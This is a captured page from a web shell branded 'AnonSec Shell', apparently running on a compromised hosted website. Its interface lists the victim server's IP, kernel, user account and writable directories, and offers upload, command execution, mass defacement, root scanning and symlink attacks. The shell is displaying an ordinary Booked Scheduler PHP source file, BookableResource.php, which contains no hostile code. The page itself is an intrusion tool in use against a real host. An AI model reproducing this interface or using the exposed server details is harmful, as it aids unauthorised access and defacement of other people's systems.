. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/booked/Domain/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/booked/Domain//BookableResource.php
<?php
/**
Copyright 2011-2014 Nick Korbel

This file is part of Booked Scheduler.

Booked Scheduler is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Booked Scheduler is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with Booked Scheduler.  If not, see <http://www.gnu.org/licenses/>.
 */

interface IResource extends IPermissibleResource
{
	/**
	 * @return int
	 */
	public function GetId();

	/**
	 * @return string
	 */
	public function GetName();

	/**
	 * @return int
	 */
	public function GetAdminGroupId();

	/**
	 * @return int
	 */
	public function GetScheduleId();

	/**
	 * @return int
	 */
	public function GetScheduleAdminGroupId();

	/**
	 * @return int
	 */
	public function GetStatusId();
}

interface IPermissibleResource
{
	/**
	 * @return int
	 */
	public function GetResourceId();
}

class BookableResource implements IResource
{
	protected $_resourceId;
	protected $_name;
	protected $_location;
	protected $_contact;
	protected $_notes;
	protected $_description;
	/**
	 * @var string|int
	 */
	protected $_minLength;
	/**
	 * @var string|int
	 */
	protected $_maxLength;
	protected $_autoAssign;
	protected $_autoAssignToggledOn = false;
	protected $_requiresApproval;
	protected $_allowMultiday;
	protected $_maxParticipants;
	/**
	 * @var string|int
	 */
	protected $_minNotice;
	/**
	 * @var string|int
	 */
	protected $_maxNotice;
	/**
	 * @var string|int
	 */
	protected $_bufferTime;
	protected $_scheduleId;
	protected $_imageName;
	protected $_statusId = ResourceStatus::AVAILABLE;
	protected $_statusReasonId;
	protected $_adminGroupId;
	protected $_isCalendarSubscriptionAllowed = false;
	protected $_publicId;
	protected $_scheduleAdminGroupId;
	protected $_sortOrder;
	protected $_resourceTypeId;

	/**
	 * @var array|AttributeValue[]
	 */
	protected $_attributeValues = array();

	public function __construct($resourceId,
								$name,
								$location,
								$contact,
								$notes,
								$minLength,
								$maxLength,
								$autoAssign,
								$requiresApproval,
								$allowMultiday,
								$maxParticipants,
								$minNotice,
								$maxNotice,
								$description = null,
								$scheduleId = null,
								$adminGroupId = null
	)
	{
		$this->SetResourceId($resourceId);
		$this->SetName($name);
		$this->SetLocation($location);
		$this->SetContact($contact);
		$this->SetNotes($notes);
		$this->SetDescription($description);
		$this->SetMinLength($minLength);
		$this->SetMaxLength($maxLength);
		$this->SetAutoAssign($autoAssign);
		$this->SetRequiresApproval($requiresApproval);
		$this->SetAllowMultiday($allowMultiday);
		$this->SetMaxParticipants($maxParticipants);
		$this->SetMinNotice($minNotice);
		$this->SetMaxNotice($maxNotice);
		$this->SetScheduleId($scheduleId);
		$this->SetAdminGroupId($adminGroupId);
	}

	/**
	 * @param string $resourceName
	 * @param int $scheduleId
	 * @param bool $autoAssign
	 * @param int $order
	 * @return BookableResource
	 */
	public static function CreateNew($resourceName, $scheduleId, $autoAssign = false, $order = 0)
	{
		return new BookableResource(null,
									$resourceName,
									null,
									null,
									null,
									null,
									null,
									$autoAssign,
									null,
									null,
									null,
									null,
									null,
									null,
									$scheduleId);
	}

	/**
	 * @param array $row
	 * @return BookableResource
	 */
	public static function Create($row)
	{
		$resource = new BookableResource($row[ColumnNames::RESOURCE_ID],
										 $row[ColumnNames::RESOURCE_NAME],
										 $row[ColumnNames::RESOURCE_LOCATION],
										 $row[ColumnNames::RESOURCE_CONTACT],
										 $row[ColumnNames::RESOURCE_NOTES],
										 $row[ColumnNames::RESOURCE_MINDURATION],
										 $row[ColumnNames::RESOURCE_MAXDURATION],
										 $row[ColumnNames::RESOURCE_AUTOASSIGN],
										 $row[ColumnNames::RESOURCE_REQUIRES_APPROVAL],
										 $row[ColumnNames::RESOURCE_ALLOW_MULTIDAY],
										 $row[ColumnNames::RESOURCE_MAX_PARTICIPANTS],
										 $row[ColumnNames::RESOURCE_MINNOTICE],
										 $row[ColumnNames::RESOURCE_MAXNOTICE],
										 $row[ColumnNames::RESOURCE_DESCRIPTION],
										 $row[ColumnNames::SCHEDULE_ID]);

		$resource->SetImage($row[ColumnNames::RESOURCE_IMAGE_NAME]);
		$resource->SetAdminGroupId($row[ColumnNames::RESOURCE_ADMIN_GROUP_ID]);
		$resource->SetSortOrder($row[ColumnNames::RESOURCE_SORT_ORDER]);
		$resource->ChangeStatus($row[ColumnNames::RESOURCE_STATUS_ID], $row[ColumnNames::RESOURCE_STATUS_REASON_ID]);

		$resource->WithPublicId($row[ColumnNames::PUBLIC_ID]);
		$resource->WithSubscription($row[ColumnNames::ALLOW_CALENDAR_SUBSCRIPTION]);
		$resource->WithScheduleAdminGroupId($row[ColumnNames::SCHEDULE_ADMIN_GROUP_ID_ALIAS]);
		$resource->SetResourceTypeId($row[ColumnNames::RESOURCE_TYPE_ID]);
		$resource->SetBufferTime($row[ColumnNames::RESOURCE_BUFFER_TIME]);

		return $resource;
	}

	public function GetResourceId()
	{
		return $this->_resourceId;
	}

	public function GetId()
	{
		return $this->_resourceId;
	}

	public function SetResourceId($value)
	{
		$this->_resourceId = $value;
	}

	public function GetName()
	{
		return $this->_name;
	}

	public function SetName($value)
	{
		$this->_name = $value;
	}

	public function GetLocation()
	{
		return $this->_location;
	}

	public function SetLocation($value)
	{
		$this->_location = $value;
	}

	public function HasLocation()
	{
		return !empty($this->_location);
	}

	public function GetContact()
	{
		return $this->_contact;
	}

	public function SetContact($value)
	{
		$this->_contact = $value;
	}

	public function HasContact()
	{
		return !empty($this->_contact);
	}

	public function GetNotes()
	{
		return $this->_notes;
	}

	public function SetNotes($value)
	{
		$this->_notes = $value;
	}

	public function HasNotes()
	{
		return !empty($this->_notes);
	}

	public function GetDescription()
	{
		return $this->_description;
	}

	public function SetDescription($value)
	{
		$this->_description = $value;
	}

	public function HasDescription()
	{
		return !empty($this->_description);
	}

	/**
	 * @return TimeInterval
	 */
	public function GetMinLength()
	{
		return TimeInterval::Parse($this->_minLength);
	}

	/**
	 * @param string|int $value
	 */
	public function SetMinLength($value)
	{
		$this->_minLength = $value;
	}

	/**
	 * @return bool
	 */
	public function HasMinLength()
	{
		return !empty($this->_minLength);
	}

	/**
	 * @return TimeInterval
	 */
	public function GetMaxLength()
	{
		return TimeInterval::Parse($this->_maxLength);
	}

	/**
	 * @param string|int $value
	 */
	public function SetMaxLength($value)
	{
		$this->_maxLength = $value;
	}

	/**
	 * @return bool
	 */
	public function HasMaxLength()
	{
		return !empty($this->_maxLength);
	}

	/**
	 * @return bool
	 */
	public function GetAutoAssign()
	{
		return $this->_autoAssign;
	}

	/**
	 * @param bool $value
	 * @return void
	 */
	public function SetAutoAssign($value)
	{
		$value = intval($value);
		if ($this->_autoAssign == false && $value == true)
		{
			$this->_autoAssignToggledOn = true;
		}
		else
		{
			$this->_autoAssignToggledOn = false;
		}

		$this->_autoAssign = $value;
	}

	/**
	 * @return bool
	 */
	public function GetRequiresApproval()
	{
		return $this->_requiresApproval;
	}

	/**
	 * @param bool $value
	 * @return void
	 */
	public function SetRequiresApproval($value)
	{
		if (!empty($value))
		{
			$this->_requiresApproval = intval($value);
		}
		else
		{
			$this->_requiresApproval = 0;
		}
	}

	/**
	 * @return bool
	 */
	public function GetAllowMultiday()
	{
		return $this->_allowMultiday;
	}

	/**
	 * @param bool $value
	 * @return void
	 */
	public function SetAllowMultiday($value)
	{
		$this->_allowMultiday = $value;
	}

	/**
	 * @return int
	 */
	public function GetMaxParticipants()
	{
		return $this->_maxParticipants;
	}

	/**
	 * @param int $value
	 */
	public function SetMaxParticipants($value)
	{
		$this->_maxParticipants = $value;
		if (empty($value))
		{
			$this->_maxParticipants = null;
		}
	}

	/**
	 * @return bool
	 */
	public function HasMaxParticipants()
	{
		return !empty($this->_maxParticipants);
	}

	/**
	 * @return TimeInterval
	 */
	public function GetMinNotice()
	{
		return TimeInterval::Parse($this->_minNotice);
	}

	/**
	 * @param string|int $value
	 */
	public function SetMinNotice($value)
	{
		$this->_minNotice = $value;
	}

	/**
	 * @return bool
	 */
	public function HasMinNotice()
	{
		return !empty($this->_minNotice);
	}

	/**
	 * @return TimeInterval
	 */
	public function GetMaxNotice()
	{
		return TimeInterval::Parse($this->_maxNotice);
	}

	/**
	 * @param string|int $value
	 */
	public function SetMaxNotice($value)
	{
		$this->_maxNotice = $value;
	}

	/**
	 * @return bool
	 */
	public function HasMaxNotice()
	{
		return !empty($this->_maxNotice);
	}

	/**
	 * @return int
	 */
	public function GetScheduleId()
	{
		return $this->_scheduleId;
	}

	/**
	 * @param int $value
	 * @return void
	 */
	public function SetScheduleId($value)
	{
		$this->_scheduleId = $value;
	}

	/**
	 * @return int
	 */
	public function GetAdminGroupId()
	{
		return $this->_adminGroupId;
	}

	/**
	 * @param int $adminGroupId
	 */
	public function SetAdminGroupId($adminGroupId)
	{
		$this->_adminGroupId = $adminGroupId;
		if (empty($adminGroupId))
		{
			$this->_adminGroupId = null;
		}
	}

	/**
	 * @return bool
	 */
	public function HasAdminGroup()
	{
		return !empty($this->_adminGroupId);
	}

	/**
	 * @return string
	 */
	public function GetImage()
	{
		return $this->_imageName;
	}

	/**
	 * @param string $value
	 * @return void
	 */
	public function SetImage($value)
	{
		$this->_imageName = $value;
	}

	/**
	 * @return bool
	 */
	public function HasImage()
	{
		return !empty($this->_imageName);
	}

	/**
	 * @param int|ResourceStatus $statusId
	 * @param int|null $statusReasonId
	 * @return void
	 */
	public function ChangeStatus($statusId, $statusReasonId = null)
	{
		$this->_statusId = $statusId;
		if (empty($statusReasonId))
		{
			$statusReasonId = null;
		}
		$this->_statusReasonId = $statusReasonId;
	}

	/**
	 * @return bool
	 */
	public function IsAvailable()
	{
		return $this->_statusId == ResourceStatus::AVAILABLE;
	}

	/**
	 * @return bool
	 */
	public function IsUnavailable()
	{
		return $this->_statusId == ResourceStatus::UNAVAILABLE;
	}

	/**
	 * @return bool
	 */
	public function IsHidden()
	{
		return $this->_statusId == ResourceStatus::HIDDEN;
	}

	/**
	 * @return int|ResourceStatus
	 */
	public function GetStatusId()
	{
		return $this->_statusId;
	}

	/**
	 * @return int|null
	 */
	public function GetStatusReasonId()
	{
		return $this->_statusReasonId;
	}

	/**
	 * @param bool $isAllowed
	 */
	protected function SetIsCalendarSubscriptionAllowed($isAllowed)
	{
		$this->_isCalendarSubscriptionAllowed = $isAllowed;
	}

	/**
	 * @return bool
	 */
	public function GetIsCalendarSubscriptionAllowed()
	{
		return $this->_isCalendarSubscriptionAllowed;
	}

	/**
	 * @param string $publicId
	 */
	protected function SetPublicId($publicId)
	{
		$this->_publicId = $publicId;
	}

	/**
	 * @return string
	 */
	public function GetPublicId()
	{
		return $this->_publicId;
	}

	public function EnableSubscription()
	{
		$this->SetIsCalendarSubscriptionAllowed(true);
		if (empty($this->_publicId))
		{
			$this->SetPublicId(uniqid());
		}
	}

	public function DisableSubscription()
	{
		$this->SetIsCalendarSubscriptionAllowed(false);
	}

	public function WithAttribute(AttributeValue $attribute)
	{
		$this->_attributeValues[$attribute->AttributeId] = $attribute;
	}

	/**
	 * @var array|AttributeValue[]
	 */
	private $_addedAttributeValues = array();

	/**
	 * @var array|AttributeValue[]
	 */
	private $_removedAttributeValues = array();

	/**
	 * @param $attributes AttributeValue[]|array
	 */
	public function ChangeAttributes($attributes)
	{
		$diff = new ArrayDiff($this->_attributeValues, $attributes);

		$added = $diff->GetAddedToArray1();
		$removed = $diff->GetRemovedFromArray1();

		/** @var $attribute AttributeValue */
		foreach ($added as $attribute)
		{
			$this->_addedAttributeValues[] = $attribute;
		}

		/** @var $accessory AttributeValue */
		foreach ($removed as $attribute)
		{
			$this->_removedAttributeValues[] = $attribute;
		}

		foreach ($attributes as $attribute)
		{
			$this->AddAttributeValue($attribute);
		}
	}

	/**
	* @param $attribute AttributeValue
	*/
	public function ChangeAttribute($attribute)
	{
		$this->_removedAttributeValues[] = $attribute;
		$this->_addedAttributeValues[] = $attribute;
		$this->AddAttributeValue($attribute);
	}

	/**
	 * @param $attributeValue AttributeValue
	 */
	public function AddAttributeValue($attributeValue)
	{
		$this->_attributeValues[$attributeValue->AttributeId] = $attributeValue;
	}

	/**
	 * @return array|AttributeValue[]
	 */
	public function GetAddedAttributes()
	{
		return $this->_addedAttributeValues;
	}

	/**
	 * @return array|AttributeValue[]
	 */
	public function GetRemovedAttributes()
	{
		return $this->_removedAttributeValues;
	}

	/**
	 * @param $customAttributeId
	 * @return mixed
	 */
	public function GetAttributeValue($customAttributeId)
	{
		if (array_key_exists($customAttributeId, $this->_attributeValues))
		{
			return $this->_attributeValues[$customAttributeId]->Value;
		}

		return null;
	}

	/**
	 * @return string
	 */
	public function __toString()
	{
		return 'BookableResource' . $this->_resourceId;
	}

	/**
	 * @static
	 * @return BookableResource
	 */
	public static function Null()
	{
		return new BookableResource(null, null, null, null, null, null, null, false, false, false, null, null, null);
	}

	protected function WithPublicId($publicId)
	{
		$this->SetPublicId($publicId);
	}

	protected function WithSubscription($isAllowed)
	{
		$this->SetIsCalendarSubscriptionAllowed($isAllowed);
	}

	/**
	 * @param $scheduleAdminGroupId int
	 */
	protected function WithScheduleAdminGroupId($scheduleAdminGroupId)
	{
		$this->_scheduleAdminGroupId = $scheduleAdminGroupId;
	}

	/**
	 * @return int
	 */
	public function GetScheduleAdminGroupId()
	{
		return $this->_scheduleAdminGroupId;
	}

	/**
	 * @param int $sortOrder
	 */
	public function SetSortOrder($sortOrder)
	{
		$this->_sortOrder = intval($sortOrder);
	}

	/**
	 * @return int
	 */
	public function GetSortOrder()
	{
		return $this->_sortOrder;
	}

	/**
	 * @param int $resourceTypeId
	 */
	public function SetResourceTypeId($resourceTypeId)
	{
		$this->_resourceTypeId = $resourceTypeId;
	}

	/**
	 * @return int
	 */
	public function GetResourceTypeId()
	{
		return $this->_resourceTypeId;
	}

	/**
	 * @return bool
	 */
	public function HasResourceType()
	{
		return !empty($this->_resourceTypeId);
	}

	/**
	 * @return bool
	 */
	public function HasBufferTime()
	{
		return !empty($this->_bufferTime);
	}

	/**
	 * @param int|string|null $bufferTime
	 */
	public function SetBufferTime($bufferTime)
	{
		$this->_bufferTime = $bufferTime;
	}

	/**
	 * @return TimeInterval
	 */
	public function GetBufferTime()
	{
		return TimeInterval::Parse($this->_bufferTime);
	}

	/**
	 * @return bool
	 */
	public function WasAutoAssignToggledOn()
	{
		return $this->_autoAssignToggledOn;
	}
}

Anon7 - 2022
AnonSec Team